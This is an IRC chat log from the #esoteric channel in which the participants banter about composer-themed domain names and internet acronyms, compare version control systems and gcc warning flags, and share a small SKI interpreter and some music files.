17:45:15 <cpressey> Because I have taste.
17:45:16 <cpressey> OH
17:45:21 <cpressey> There's the burn.
17:46:29 <Gregor> A friend suggested a Sibelius-themed Generic Music Idol Band Hero Game
17:46:34 * cpressey notes that maxbru.ch is also available
17:46:53 <Gregor> Unfortunately, I'm not Ch(inese?)
17:47:01 <ais523> china's .cn
17:47:31 <Gregor> I'm not (reverse domain lookup of .ch)ish.
17:47:35 -!- oklokok has joined.
17:47:41 <Gregor> Swiss, apparently.
17:50:17 <Gregor> I wonder which language Swiss reduces to 'ch' in ...
17:51:09 <ais523> probably Swiss
17:51:20 <ais523> if they have a language of their own
17:52:08 <Gregor> I think there's some old native language nobody speaks there, but they usually speak German, French and/or Italian (?)
17:52:11 <cpressey> It stands for "Confoederatio Helvetica"
17:52:32 <cpressey> Which is, uh. Latin.
17:52:44 <ais523> dedicated to stamping out Arial!
17:52:52 <Gregor> cpressey: Oh, naturally :P
17:53:01 <cpressey> ais523: LOL.
17:53:16 <cpressey> And keep in mind, I never write "LOL" unless I actually laugh out loud.
17:53:22 <Gregor> And do you have to be Swiss to own a .ch domain, or can we actually get maxbru.ch?
17:53:47 <ais523> cpressey: yay, another sacred defender of the meaning of the acronym LOL!
17:54:04 <ais523> I hardly ever use it even if I do laugh out loud, because people wouldn't know what I meant
17:54:07 <Gregor> I generally use it that way, but I also laugh an embarrassing amount ...
17:54:21 <lament> I never write ROFL unless I actually roll on the floor laughing
17:54:27 <cpressey> ais523: *And*, I am in a cube at work, where it is currently pretty quiet.
17:54:34 <lament> and I never write IMHO unless my opinion is actually humble
17:54:41 <ais523> lament: I don't think I've ever rolled on the floor laughing
17:54:50 <Gregor> I never write lollercoptahs unless I have actually turned into an anthropomorphic laughing helicopter.
17:54:53 <lament> i might have
17:54:58 <MissPiggy> loooool
17:55:08 <cpressey> Gregor: trying very hard not to LOL.
17:55:13 <lament> anthropololic
17:56:08 <ais523> cpressey: same here
17:56:13 <ais523> and I would get in trouble for doing it in this office
17:56:22 <lament> a lolita is a small feminine lol
17:56:29 <MissPiggy> lol
17:56:44 <Gregor> lament: X-D
17:57:22 <pikhq> lament: Brilliance.
18:01:37 <cpressey> lament: Oh, so you never write IMHO at all then? :)
18:02:36 <ais523> I just use IMO, it's a lot more neutral
18:02:38 <Gregor> According to this bottle of Coke, I could win eighth notes, dollar signs or Tickets (with a capital 'T', because this is German)
18:02:40 <pikhq> cpressey: His opinions are not humble.
18:02:43 <ais523> IMHO/IMNSHO are just pretentious
18:02:56 <ais523> Gregor: is an eighth note 12.5¢?
18:02:56 <Gregor> IMHO, they are not pretentious.
18:03:01 <cpressey> pikhq: That was the implication, yes.
18:03:17 <pikhq> IMHO comes out a bit more naturally after studying Japanese.
18:03:27 <Gregor> Imm-ho
18:03:51 <cpressey> In my haughty opinion
18:04:01 <Gregor> In my naughty opinion
18:04:03 <pikhq> As do things like saying "probably" even when you're damned sure of something.
18:04:23 <Gregor> The Earth is probably round.
18:05:46 <pikhq> ... In sufficiently formal Japanese, that sentence would be said. 【お世界は丸そうでございます。」
18:06:01 <pikhq> ... s/【/「/
18:06:21 <lament> http://www.toxel.com/tech/2010/03/04/cool-water-powered-jet-pack/
18:06:23 <ais523> in Japanese, being impolite is grammatically incorrect, isn't it?
18:06:30 <pikhq> ais523: No.
18:06:45 <pikhq> The impolite form of that is 世界が丸そう。
18:06:50 <lament> ais523: politeness is meaningless if impoliteness is impossible
18:07:08 <AnMaster> <cpressey> And since I am open-minded, I'm listening to a Sibelius concerto via youtube right now. <-- always found Sibelius somewhat "heavy"
18:07:09 <pikhq> Erm.
18:07:12 <ais523> hmm
18:07:15 <pikhq> 世界が丸い。
18:07:34 <AnMaster> hm I can't really express what I mean in English
18:07:44 <Gregor> So yeah, I guess since nobody's made any useful suggestions, I'll be makin' that Sibelius-themed Generic Music Idol Band Hero Game
18:07:45 <pikhq> (literal translation of the polite sentence: The humble world, would appear to most humbly be round.)
18:07:53 <lament> ais523: the whole point of etiquette is that you're polite to your superiors, and they aren't polite to you
18:09:02 <oklokok> pikhq: after i give a rigorous proof for something, i often add "or something like that"
18:09:29 <Gregor> oklokok: What should I do with the domain name sibeli.us?
18:09:55 <ais523> Gregor: use it for the debonairly boorish fugues, etc
18:10:22 <pikhq> oklokok: Heheh.
18:11:10 <AnMaster> <ais523> IMHO/IMNSHO are just pretentious <-- I prefer IMPBPNHO
18:11:34 <AnMaster> (not really)
18:12:00 <oklokok> Gregor: are you a big fan of sib?
18:12:03 <Gregor> In my Peanut-Butter-Porn Not Humble Opinion
18:12:25 <Gregor> oklokok: I am a neutral-to-moderate fan of Sibelius.
18:12:43 <AnMaster> Gregor, I invoke rule 34 on that domain!
18:12:51 <Gregor> EWWWWW
18:12:52 <oklokok> i probably know much less about his works than you, i'm a bit patriotically challenged
18:12:53 <AnMaster> what have I done...
18:13:32 <Gregor> OK, Sibelius-themed Generic Music Idol Band Hero Game it is :P
18:13:46 <AnMaster> I just don't like his music. Too heavy and too melancholic
18:14:07 <Gregor> Then I'm sure you hate my music :P
18:14:21 <AnMaster> Gregor, not really, yours is somewhat technically interesting
18:14:27 <AnMaster> Sibelius is not
18:14:35 <AnMaster> Gregor, if it wasn
18:14:58 <AnMaster> wasn't* for the technical interesting parts of Liszt and Paganini I wouldn't really like those
18:15:02 <AnMaster> as it is, I do like them
18:15:19 <lament> same reason i like your mom
18:15:31 <Gregor> ... wow.
18:15:43 <AnMaster> lament, I can't think of any snappy reply to that one...
18:16:01 <Gregor> "Your mom is technically interesting" is ... maybe not an insult? Idonno.
18:16:18 <AnMaster> Gregor, I have no clue
18:16:23 <AnMaster> I don't like it either way I think
18:16:25 <cpressey> For the same reasons that I'm not a fan of his music, he makes a good subject for an Orchestra Hero game or whatever
18:16:44 <AnMaster> cpressey, yeah, I would hate to see Kraus or Mozart subjected to that
18:16:44 <Gregor> cpressey: Now that's actually a compelling argument ...
18:16:49 <AnMaster> Or Vivaldi
18:17:08 <AnMaster> Gregor, so do you like Sibelius or not?
18:17:52 <Gregor> I am a neutral-to-moderate fan of Sibelius. His music is not amongst the somewhat small selection I listen to regularly, because I don't like him enough for that, but he's well over the dislike line.
18:18:32 <Gregor> Can't a guy have neutral opinions around here? P
18:18:33 <Gregor> *:P
18:19:26 <lament> maybe he can.
18:19:41 <lament> but then again, maybe not. It doesn't really matter.
18:19:47 <lament> imo
18:19:49 -!- Gregor has set topic: "Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter currently out of sequence | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
18:20:12 <AnMaster> Gregor, what about Schönberg?
18:20:17 <AnMaster> it sounds like the thing you would like
18:20:34 <Gregor> I don't have a mental picture of his music off-hand, so Idonno.
18:20:47 <Gregor> And there is no .rg as far as I know anyway ;)
18:20:49 <AnMaster> Gregor, disharmonic
18:21:00 <AnMaster> Gregor, 12 tone scale and all that
18:21:24 <AnMaster> http://en.wikipedia.org/wiki/Twelve-tone_technique
18:21:53 <Gregor> pdqba.ch is available :P
18:22:03 <AnMaster> Gregor, yeargh
18:22:11 <AnMaster> Gregor, is there .rt?
18:22:16 <AnMaster> moza.rt
18:22:21 <AnMaster> vival.di?
18:22:22 <Gregor> Already checked.
18:22:27 <AnMaster> Gregor, hay.dn?
18:22:40 <AnMaster> Gregor, hand.el?
18:22:40 <Gregor> Besides, these names are all too famous, they'd certainly have been bought.
18:23:08 <Gregor> Also, most national domains have restrictions with regards to citizenship :P
18:23:21 <Gregor> Which has the amusing effect that a Finn can't actually own the domain sibeli.us :P
18:23:28 <AnMaster> kra.us (please don't do something bad with it. Joseph Martin Kraus is my all time favourite composer!)
18:23:46 <AnMaster> Gregor, ^
18:23:53 <Gregor> AnMaster: Squatted
18:24:01 <AnMaster> mhm
18:26:07 <AnMaster> Gregor, beethov.en?
18:26:11 <AnMaster> is that a valid tld?
18:26:34 <Gregor> Doesn't eem to be.
18:26:37 <Gregor> *seem
18:26:42 <lament> poser.com
18:26:45 <Gregor> They would probably avoid it because people would think it was England.
18:26:49 <AnMaster> Gregor, schuma.nn !
18:26:57 <AnMaster> Gregor, I really think his music is boring
18:27:09 <Gregor> The great nation of Nnonninnonn
18:27:11 <AnMaster> sure, quite okay, but nothing really interesting
18:27:11 <ais523> over here in England, we know that England doesn't have a TLD to itself
18:27:24 <AnMaster> Gregor, it could be Netherlands or something...
18:27:29 <Gregor> Because England wurves Scotland, Wales and North Ireland so much :P
18:27:43 <Gregor> Also Gibraltar and the Island of Mann if I recall
18:28:30 <Gregor> Nope, wrong on all regards :P
18:28:34 <AnMaster> Gregor, what about those two small islands in the English channel?
18:28:37 <Gregor> Spelling, TLD, membership in the UK :P
18:28:47 <hiato> .ski? or .ki?
18:29:05 <AnMaster> okay .ski would be a nice TLD
18:29:10 <Gregor> The only three-letter TLDs are the US ones and the generic ones, so you'd know it if it existed :P
18:29:15 <AnMaster> imagine: imperative.ski
18:29:20 <AnMaster> XD
18:29:24 <hiato> bugger
18:29:33 <AnMaster> hiato, ?
18:29:42 <hiato> AnMaster, ?
18:29:50 <AnMaster> why bugger
18:30:00 <AnMaster> hiato, you gave us a great idea in the TLD discussion
18:30:00 <hiato> I wanted tchaikov.ski
18:30:03 <AnMaster> ah
18:30:03 <hiato> (yaeh, I know)
18:30:04 <AnMaster> :/
18:30:25 <hiato> or ru.ski
18:30:29 <AnMaster> har
18:31:09 <AnMaster> Gregor, btw .nu fills the same function in Sweden as .to does in English speaking countries (not exact same meaning, but equal large interest in it)
18:31:19 <AnMaster> (sv:nu = en:now)
18:31:40 <lament> net means no in russian
18:31:54 <AnMaster> mhm
18:31:55 <lament> several sites use that, like "no cockroaches" and "no beer"
18:32:23 <hiato> I'm sure it's spelled differently though, isn't it pronounced "nyet"?
18:32:58 <hiato> and, in Afrikaans/Dutch(German?) net means only
18:33:03 <lament> nʲet in IPA, net in translit
18:33:09 <hiato> right
18:33:26 <lament> er, the vowel in IPA is wrong i'm sure, i don't really know it
18:33:59 <hiato> well, neither do I, so you're right no matter what
18:34:55 <hiato> AnMaster: it must be said that I only got the .ski joke now, wow, completely unintended on my behalf :P
18:35:26 <AnMaster> heh
18:35:33 <Gregor> .ki are $900/year
18:35:36 <hiato> but nicely played
18:35:51 * hiato is speechless, but can still make the occasional /me
18:36:00 <AnMaster> I wonder what imperative SKI calculus would be like though
18:36:18 <AnMaster> ais523, sounds like something for you to design ^
18:36:20 <AnMaster> ;)
18:36:44 <ais523> maybe
18:36:49 <hiato> heh, a = s k k "hello"
18:36:50 <hiato> print a
18:36:55 <ais523> SKI calculus can be pretty imperative as-is, though
18:36:58 <hiato> fairly pointless
18:37:14 <AnMaster> ais523, hm. What about imperative lambda calculus then?
18:37:25 <ais523> sa,e
18:37:26 <ais523> *same
18:37:28 <hiato> python
18:37:32 <AnMaster> Imperative haskell would of course beat most things to "bad idea of year"
18:37:41 <AnMaster> hiato, declarative python!
18:37:44 <ais523> you can compile imperative to haskell easily
18:37:51 <AnMaster> ais523, hm
18:37:51 <ais523> if you couldn't, it wouldn't really be powerful enough to be useful
18:38:02 <hiato> AnMaster: as if it wasn't chock full of similarly bad ideas :P
18:38:03 <ais523> admittedly, it usually isn't the best way to write it, but you can if you want to
18:38:14 <AnMaster> hiato, I don't think going
18:38:27 <AnMaster> *going "up" the scale is wrong
18:38:32 <AnMaster> well it could be
18:38:46 <AnMaster> but not necessarily so
18:38:55 <hiato> Heh, [citation needed]
18:39:01 <hiato> ;)
18:40:04 <AnMaster> huh?
18:40:39 <hiato> Never mind, to much wiki for meh brains today
18:40:49 <AnMaster> hiato, of course it would need proper language support. And not be like that "lambdas in C" hack that pikhq did
18:40:55 <AnMaster> pikhq, link to it now again?
18:42:18 <hiato> Lambdas in C? Coincidentally, I have just discovered a marvellous little proof that no god can exist, written in CLambda, which this magin is too narrow to contain
18:42:37 <AnMaster> hiato, it was done with some macros + gnu extensions
18:42:49 <AnMaster> hiato, closures too btw
18:43:15 <AnMaster> iirc it used two gcc extensions: nested functions and statement expressions
18:43:20 <hiato> I cannot believe waht I'm hearing
18:43:42 <AnMaster> hiato, then wait for pikhq to get here, he is in some US timezone
18:43:47 <AnMaster> (iirc)
18:43:50 <hiato> but, I take it, strict evaluation
18:44:03 <AnMaster> hiato, ?
18:44:46 <hiato> as in, writing any lambda expression would be evaluated immeditaely/reduced, irrespecive of whether it was further refernced or applied?
18:45:14 * hiato asks that all further typos be excused
18:45:37 <hiato> as the way I see it, it's a macro, so it just reduced to some convoluted mess of C code that would execute
18:45:44 <AnMaster> hiato, I don't know
18:45:45 <pikhq> AnMaster: Urgh. No no no no.
18:45:51 <AnMaster> pikhq, why not? I want to see it
18:45:58 <hiato> so do I
18:46:01 <pikhq> It's a pain to paste.
18:46:12 <AnMaster> pikhq, why not just push a hg repo or whatever with it
18:46:14 <AnMaster> somewhere
18:46:18 <pikhq> No hosting.
18:46:22 <hiato> So send meh ur computerz thro teh interwebz
18:46:29 <AnMaster> pikhq, bzr + launchpad? ;P
18:46:41 <hiato> github is free for minor stuff, no?
18:46:45 <pikhq> Just a sec while I tar it up.
18:46:50 <hiato> yaya
18:46:50 <AnMaster> hiato, but that requires git -_-
18:47:01 <hiato> Am I missing something?
18:47:31 <AnMaster> hiato, yes perhaps: that I think git is the worst dvcs when it comes to user interface.
18:47:38 <hiato> ah, so this is one of those places that hg >> bza >> svn >> cvs == True
18:47:44 <AnMaster> bzr is just so much easier to use
18:47:48 <AnMaster> hiato, personally I'm a bzr fan
18:47:53 <AnMaster> and what on earth is bza?
18:47:53 <hiato> darcs?
18:47:58 <AnMaster> hiato, try ais523 for that
18:47:59 <hiato> *bzr
18:48:10 <hiato> I must say I like hg
18:48:12 <AnMaster> hiato, he uses darcs for c-intercal
18:48:15 <AnMaster> hiato, hg isn't too bad
18:48:27 <AnMaster> it is just git that I have major trouble with
18:48:29 <hiato> wow, what an elaborate way to waste time
18:48:36 <hiato> fair enough
18:48:37 <AnMaster> hiato, what is?
18:48:42 <ais523> I'm a darcs fan
18:48:48 <hiato> darcs <- c-intercal
18:48:51 <AnMaster> hiato, oh and rcs. But I rarely run into it
18:48:51 <pikhq> http://filebin.ca/septw/ski.tar.gz
18:48:56 <hiato> rcs?
18:48:59 <pikhq> There's my SKI interpreter.
18:49:11 <ais523> it even manages to beat bzr at user interface, and the model is a lot better
18:49:12 <pikhq> Compile with gcc *.c -lgc
18:49:14 <hiato> I like it too ais523, but hg wins over for me
18:49:14 <AnMaster> pikhq, why not compile SKI to C with it?
18:49:24 <AnMaster> pikhq, using just a simple converter
18:49:26 <hiato> Ohoho, interperter?
18:49:26 <pikhq> AnMaster: Didn't bother is all.
18:49:38 -!- MaXo2 has joined.
18:49:57 * AnMaster stores that in ~/irc/esoteric/pikhq
18:50:08 <pikhq> Oh, right. I had been working on making it into a proper Lazy K interpreter.
18:50:19 <AnMaster> hiato, lambda.h is the file you want to read
18:50:29 <AnMaster> iirc
18:50:35 <pikhq> Yeah.
18:50:41 <AnMaster> and closure.h
18:50:48 <AnMaster> hm
18:50:49 <AnMaster> no
18:51:00 <AnMaster> pikhq, what is xgc.h?
18:51:09 <hiato> so pikhq, you implement lambda and ski?
18:51:15 <hiato> ah, I was reading main
18:51:17 <AnMaster> pikhq, and why does it contain nohup.out?
18:51:18 <pikhq> ... Declares xgc_malloc.
18:51:26 <AnMaster> the tarball
18:51:28 <pikhq> AnMaster: Uh.
18:51:31 <pikhq> Accident.
18:51:34 <AnMaster> cat nohup.out
18:51:34 <AnMaster> Sun VirtualBox Headless Interface 3.1.4_OSE
18:51:34 <AnMaster> (C) 2008-2010 Sun Microsystems, Inc.
18:51:34 <AnMaster> All rights reserved.
18:51:36 <AnMaster> wonderful
18:52:00 <AnMaster> pikhq, how does one compile this?
18:52:01 <pikhq> hiato: It's some pretty horrifying code.
18:52:03 <AnMaster> there is no makefile
18:52:11 <pikhq> AnMaster: gcc *.c -lgc
18:52:21 <hiato> pikhq, although I can barely make the outline of how you've done this, I am impressed
18:52:52 <hiato> and only two warnings :)
18:52:53 <pikhq> hiato: It's pretty easy. I implement Lazy K's semantics naively.
18:53:03 <pikhq> :)
18:53:13 <AnMaster> pikhq, btw do not try it with -pedantic
18:53:15 * hiato goes to do some research
18:53:29 <AnMaster> $ gcc -pedantic -std=gnu99 *.c -lgc -Wall -Wextra 2>&1 | grep warning | wc -l
18:53:29 <AnMaster> 132
18:53:54 <AnMaster> (resulted in errors without that -std=gnu99)
18:53:55 <hiato> nice
18:54:02 <pikhq> Yes, -pedantic warns about every single GNU extension.
18:54:05 <AnMaster> (I guess gnu89 could have worked too, didn't try it)
18:54:15 <pikhq> And this code is mostly GNU extensions.\
18:54:17 <AnMaster> $ gcc -std=gnu99 *.c -lgc -Wall -Wextra 2>&1 | grep warning | wc -l
18:54:18 <AnMaster> 16
18:54:20 * Gregor always uses -ansi -pedantic >:)
18:54:21 <AnMaster> a lot of those too
18:54:42 <AnMaster> Gregor, I use <wait a bit, need to check what cfunge actually uses>
18:55:10 <Gregor> cplof's test cases fail if it doesn't build with -Wall -Werror -ansi -pedantic -DFAKE_JUMPS
18:55:14 <pikhq> Also, note that the definition of lambdas here could easily *break at any time*. Those functions are not guaranteed to exist by the GCC documentation.
18:55:22 <AnMaster> -std=c99 -Wall -Wextra -pedantic -Wwrite-strings -Wcast-align -Wcast-qual -Wbad-function-cast -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -Wredundant-decls -Wnested-externs -Wdeclaration-after-statement -Wshadow -Wundef -Wpacked -Wfloat-equal -Wstrict-aliasing=2 -Wformat=2 -Wmissing-noreturn -Wmissing-format-attribute -Winit-self -Wunsafe-loop-optimizations -
18:55:22 <AnMaster> Wmissing-include-dirs -Wunused-parameter -Wunused-function -Wunused-label -Wunused-value -Wunused-variable -Wimplicit -Wparentheses -Wpointer-arith -fno-math-errno -fno-trapping-math
18:55:24 <AnMaster> Gregor, there !
18:55:39 <AnMaster> that excludes some -D
18:55:42 <Gregor> AnMaster: Do you know what -Wall means?
18:55:50 <pikhq> (it claims that the functions are entirely on the stack. In reality, the trampoline that GCC compiles if needed is on the stack.)
18:55:50 <AnMaster> Gregor, XD
18:55:58 <pikhq> Gregor: -Wall does not enable all warning.
18:56:00 <pikhq> Erm. Warnings.
18:56:11 <pikhq> Though I'm pretty sure he has redundancy going there.
18:56:18 <AnMaster> pikhq, not for old gcc versions
18:56:24 <AnMaster> pikhq, I support down to gcc 3.4
18:56:32 <hiato> why?
18:56:41 <AnMaster> pikhq, it checks which ones are supported by the compiler
18:56:45 <pikhq> Mmm.
18:56:49 <Gregor> Maybe I should add -Wextra to cplof's test case :P
18:56:52 <AnMaster> pikhq, yes this yeilds some redundancy, but nothing to worry about
18:57:55 <AnMaster> Gregor, I would strongly recommend at least -pedantic -Wall -Wextra -Wformat=2 -Wwrite-strings
18:58:34 <AnMaster> Gregor, defines include: -D_POSIX_C_SOURCE=200112L -D_XOPEN_SOURCE=600
18:59:33 <AnMaster> Gregor, I'm unlikely to switch to POSIX 2008 yet
18:59:42 <AnMaster> but that might happen before I drop gcc 3.4 support
19:01:01 <Gregor> -Wextra includes warnings for unused PARAMETERS
19:01:04 <Gregor> That's completely stupid
19:01:08 <AnMaster> Gregor, no
19:01:11 <AnMaster> I find that useful
19:01:25 <Gregor> I write dozens of functions that are compatible with a single interface.
19:01:26 <AnMaster> Gregor, I use an attribute for the three or so cases where I actually want it to be unused
19:01:36 <AnMaster> Gregor, well add -Wno-unused-parameters then
19:01:38 <AnMaster> (iirc)
19:01:45 <AnMaster> (not sure about the exact spelling)
19:01:53 <AnMaster> (check your local man gcc)
19:02:07 <Gregor> I'm gonna stick with -Wall -Werror -ansi -pedantic :P
19:02:15 <Gregor> Incidentally, I also compile with OpenWatcom for 32-bit DOS.
19:02:22 <AnMaster> Gregor, -Wwrite-strings!
19:02:34 <AnMaster> Gregor, that makes sure you don't do things like:
19:02:35 <Gregor> I don't even use any bloody strings :P
19:02:40 <AnMaster> char* foo = "bar";
19:02:46 <AnMaster> mkstemp(foo);
19:03:03 <AnMaster> (you need to have it writable for there)
19:03:14 <AnMaster> (besides, proper const usage helps the optimiser)
19:05:06 <AnMaster> <hiato> why? <-- why what?
19:05:37 <Gregor> In actuality, the real problem with -Wwrite-strings for cplof is that I cast everything into unsigned char *, and casting away constness explicitly is presumably still considered "OK"
19:05:52 <AnMaster> Gregor, there is another warning for that
19:06:03 <AnMaster> Gregor, -Wcast-qual I think
19:07:22 <AnMaster> Gregor, anyway I find that set of warnings very nice for cfunge.
19:08:01 <hiato> AnMaster: never mind, it was a way back, and thanks to the wonders of lag, in the wrong place
19:08:24 <AnMaster> * Ping reply from hiato: 2.20 second(s) <-- bad, but not excessively so
19:11:53 <hiato> Heh, nice touch
19:12:04 -!- dev_squid has joined.
19:12:06 <Gregor> http://codu.org/music/op12/GRegor-op12-wipp2.ogg , lest I never mentioned it here >_>
19:13:15 <hiato> AnMaster: it was for pikhq, when he said the definition could break at any time, and my log shows: 20:52 < pikhq> Also, note that the ..... 20:53 < hiato> why?
19:13:21 <hiato> so within the margin of error :P
19:14:15 <dev_squid> Hi guys.
19:14:37 <AnMaster> Gregor, "wipp"?
19:14:43 <hiato> Greetings from beyond the /dev/null
19:14:44 <Gregor> Work In Progress Preview
19:15:02 <AnMaster> Gregor, should name it op12.-2 or such
19:15:08 <AnMaster> (clc-intercal style)
19:15:29 <Gregor> My original naming convention was beta 1, beta 2 etc, but somebody pointed out justly that that's a bit computery for music :P
19:15:40 <AnMaster> hiato, aargh did someone fill the bit bucket now again?
19:15:43 <Gregor> Especially for music which is relatively acoustic.
19:16:11 <AnMaster> Gregor, I don't see anything wrong with it
19:16:21 <Gregor> Yeah, but you're a person on #esoteric :P
19:16:59 <AnMaster> http://en.wikipedia.org/wiki/Beta#Common_uses <-- template fail
19:17:01 <AnMaster> -_-
19:17:32 <Gregor> AnMaster: That template is in beta.
19:18:33 <AnMaster> augh
19:19:07 <hiato> AnMaster: what does that mean?
19:22:20 <AnMaster> hiato, what bit?
19:22:25 <AnMaster> "augh"?
19:22:42 <hiato> heh, did someone fill the bit bucket now again?
19:23:03 <AnMaster> hiato, oh that. ask ais523 he can explain it and I'm somewhat busy
19:23:08 <hiato> s/,/"/ and s/$/"/
19:23:21 <hiato> ah, right
19:23:21 <AnMaster> or see http://en.wikipedia.org/wiki/Bit_bucket
19:23:47 <hiato> kthnx,srydood.srsly
19:26:19 <AnMaster> Gregor, I like that op12-wipp2 around 10:58-11:30 especially!
19:26:35 * AnMaster hasn't finished listening to it yet
19:28:06 <hiato> Gregor: what do you compose with?
19:28:27 <AnMaster> Gregor, is this recorded or synthed?
19:28:33 <AnMaster> if synthed, what soundfont
19:28:48 <AnMaster> hiato, unless I misremember: rosegarden
19:29:06 <hiato> Right
19:29:15 <hiato> I must be the only kiddy who plays with lmms
19:29:20 -!- dev_squid has quit (Ping timeout: 265 seconds).
19:29:28 <AnMaster> hiato, what is lmms?
19:29:39 <AnMaster> hiato, rosegarden is FOSS in case you didn't know
19:30:00 <hiato> Naah, I did. Linux Multimedia Studio
19:30:06 <hiato> *MultiMedia
19:30:09 <hiato> or something
19:30:10 * AnMaster used rosegaden a bit.
19:30:16 <Gregor> AnMaster: It is recorded and synthed :P
19:30:18 <AnMaster> the real PITA is jack
19:30:19 <Gregor> In that I have a digital piano.
19:30:23 <AnMaster> Gregor, ah
19:30:27 <hiato> I haven't actually tried a midi tracker
19:30:31 <AnMaster> Gregor, not recorded with a mic then
19:30:35 <Gregor> No.
19:30:45 <AnMaster> hiato, tracker is wrong word for what I use rosegraden for at least
19:31:05 <AnMaster> Gregor, what soundfont though?
19:31:34 <Gregor> Steinway IMIS or something like that, one sec.
19:32:29 <hiato> AnMaster, what would you call it?
19:32:35 <Gregor> ftp://musix.ourproject.org/pub/musix/sf2/Steinway_IMIS2.2/Steinway_IMIS2.2.sf2.bz2
19:32:43 <AnMaster> Gregor, free?
19:32:55 <Gregor> Quite
19:33:08 <AnMaster> Gregor, was it the one where ehird commented upon the silly site header?
19:33:21 <Gregor> No :P
19:33:27 <Gregor> AFAIK this one exists only in ftp, no web site.
19:33:31 <AnMaster> ah
19:33:39 <AnMaster> Gregor, so is this one better or worse in your opinion
19:33:44 <Gregor> Better.
19:33:45 <Gregor> Much.
19:33:49 <Gregor> It is a truly outstanding soundfont.
19:33:50 <AnMaster> Gregor, also what tool do you use for the actual synthing?
19:33:55 <Gregor> fluidsynth
19:33:57 <hiato> AnMaster: I made this today as a tribute to 8bp, using lmms: did someone fill the bit bucket now again?
19:34:05 <hiato> yugh, wrong clipboard
19:34:06 <AnMaster> Gregor, hm I never got that to work reliably
19:34:10 <hiato> http://www.mediafire.com/?zgmc4dlmcnl
19:34:16 <Gregor> fluidsynth is hugely buggy and terrible.
19:34:20 <Gregor> But when it does work, it's quite nice :P
19:34:26 <AnMaster> Gregor, how do you use it them
19:34:27 <AnMaster> then*
19:34:58 <AnMaster> hiato, how do I actually access the file from there? There is no download link as far as I can see here in w3m
19:34:59 <Gregor> AnMaster: For just piano it's quite simple: fluidsynth -l -F output.wav my.sf2 my.mid
19:35:10 <AnMaster> hm
19:35:21 <AnMaster> Gregor, that download is slow:
19:35:23 <AnMaster> 0% [ ] 110 880 --.-K/s eta 5h 42m
19:35:25 <AnMaster> Gregor, ^
19:35:25 <AnMaster> :(
19:35:31 <cpressey> hiato: you should title it "did someone fill the bit bucket now again?"
19:35:43 <hiato> er, AnMaster, i think it needs js
19:35:48 <Gregor> AnMaster: I have no control of that download site :P
19:35:51 <hiato> cpressey: that is oddly appropriate
19:35:51 <AnMaster> hiato, I don't do js
19:36:05 <hiato> well, I can't think of another host atm
19:36:10 <AnMaster> Gregor, care to put your local copy somewhere I can get it reasonably soon?
19:36:21 <hiato> AnMaster: http://download568.mediafire.com/bmxwgiuhbz1g/zgmc4dlmcnl/new_maybe.ogg
19:36:23 <Gregor> Fleh
19:36:27 <AnMaster> Gregor, thanks
19:36:31 <hiato> maybe my session is valid for you
19:36:43 <AnMaster> hiato, seems to work
19:36:55 <hiato> :)
19:37:24 <hiato> arg, wait, it can't be working
19:37:36 <AnMaster> hiato, oh?
19:37:59 <AnMaster> hiato, is 3107b155456ce6cc6e811df2ff78a59989a9f2eae38b4b7a70f7a124ab0a55d2e9b4e0763ce037008b9580c162c189a63b58fdfc2346f80f6890c76dbda99b35 the correct sha512sum?
19:38:04 <hiato> yeah, the file doesn't exist (wrong title), so I donno what it's givin you
19:38:16 <hiato> AnMaster: http://download732.mediafire.com/y1nmiltmhndg/qwnwkqt1ynn/lmms_1.ogg
19:38:17 <Gregor> AnMaster: Query
19:38:20 <hiato> lemme check
19:38:50 <AnMaster> hiato, gave me a html file http://download732.mediafire.com/y1nmiltmhndg/qwnwkqt1ynn/lmms_1.ogg
19:38:53 <AnMaster> at that one
19:39:00 <hiato> wha?
19:39:41 <hiato> http://download732.mediafire.com/y1nmiltmhndg/qwnwkqt1ynn/lmms_1.ogg ?
19:39:52 <hiato> That's the only link I can get
19:40:08 <AnMaster> hiato, gives me the download page
19:40:18 <AnMaster> hiato, but was the sha512sum correct?
19:40:51 <hiato> b9004fc3e3d9d3009ad6f58b8669fb1f897dd2e4097aac1fb4b65310d8bc80756e9eda2c6b4178137b3e71fd809941630266335d4ee4a145de8928d5d08fa645
19:40:58 <hiato> doesn't look right
19:41:03 <hiato> mediafire = fail
19:41:16 <hiato> they gave you a file that, according to my log, was deleted last year
19:41:25 <hiato> new_maybe.ogg?
19:42:28 <hiato> let me try once more
19:43:57 <AnMaster> hiato, why not filebin?
19:44:18 <hiato> didn't know about it
19:44:48 <hiato> dot org/ca?
19:45:02 <hiato> ok, one more try if you don't mind: http://download732.mediafire.com/rw9smzsgbztg/qwnwkqt1ynn/lmms_1.ogg
19:46:04 <AnMaster> hiato, .ca is the one I usually use
19:46:12 <AnMaster> hiato, seems to work
19:46:17 <hiato> finally
19:46:18 <AnMaster> well, hasn't finished downloading yet
19:46:56 <AnMaster> hiato, b9004fc3e3d9d3009ad6f58b8669fb1f897dd2e4097aac1fb4b65310d8bc80756e9eda2c6b4178137b3e71fd809941630266335d4ee4a145de8928d5d08fa645?
19:47:02 <hiato> heh, well, mediafire's sessions aren't supposed to be this abused. I had to track down the response to activate the download and kill it, then I guess the id was left open
19:47:07 <hiato> yep
19:47:08 <hiato> :)
19:47:24 <AnMaster> hiato, square waves?
19:47:41 <hiato> tribute to 8BP ;)
19:47:47 <hiato> 8bitpeoples.com
19:48:06 * AnMaster sends the hospital bill to hiato for this
19:48:26 <AnMaster> hiato, I have nothing against things like SID, but this is not like that
19:48:29 <hiato> haha, it's not that bad, surely
19:48:32 <AnMaster> this is too square wave
19:48:48 <AnMaster> hiato, the melody isn't bad. I just can't stand square waves
19:48:53 <AnMaster> sinus for me please
19:48:56 <hiato> ah, right
19:49:09 <hiato> soory, I tend to like them actually
19:49:12 <hiato> in fact, quite a bit
19:49:28 <hiato> but, I have very instrumenty stuff too, just decided to experiment
19:50:04 <AnMaster> hiato, I'm perfectly fine with things like SID when it doesn't try to sound much more than what it is
19:50:25 <AnMaster> hiato, I like classical music and some baroque
19:50:31 <AnMaster> mostly viola/violin music
19:50:35 <AnMaster> some other too
19:51:04 <hiato> Ok, fair enough. Well, to be honest the square wave you hate so much I bent out of a SID emulator
19:51:07 <AnMaster> (Vivaldi is probably number two all time favourite after Kraus)
19:51:24 <AnMaster> hiato, sure, but C64 games tend to not use it quite like that
19:51:30 <hiato> right, well, I do appreciate the odd violin piece, but I'm much more orchestral
19:51:51 <AnMaster> hiato, chamber music for me :)
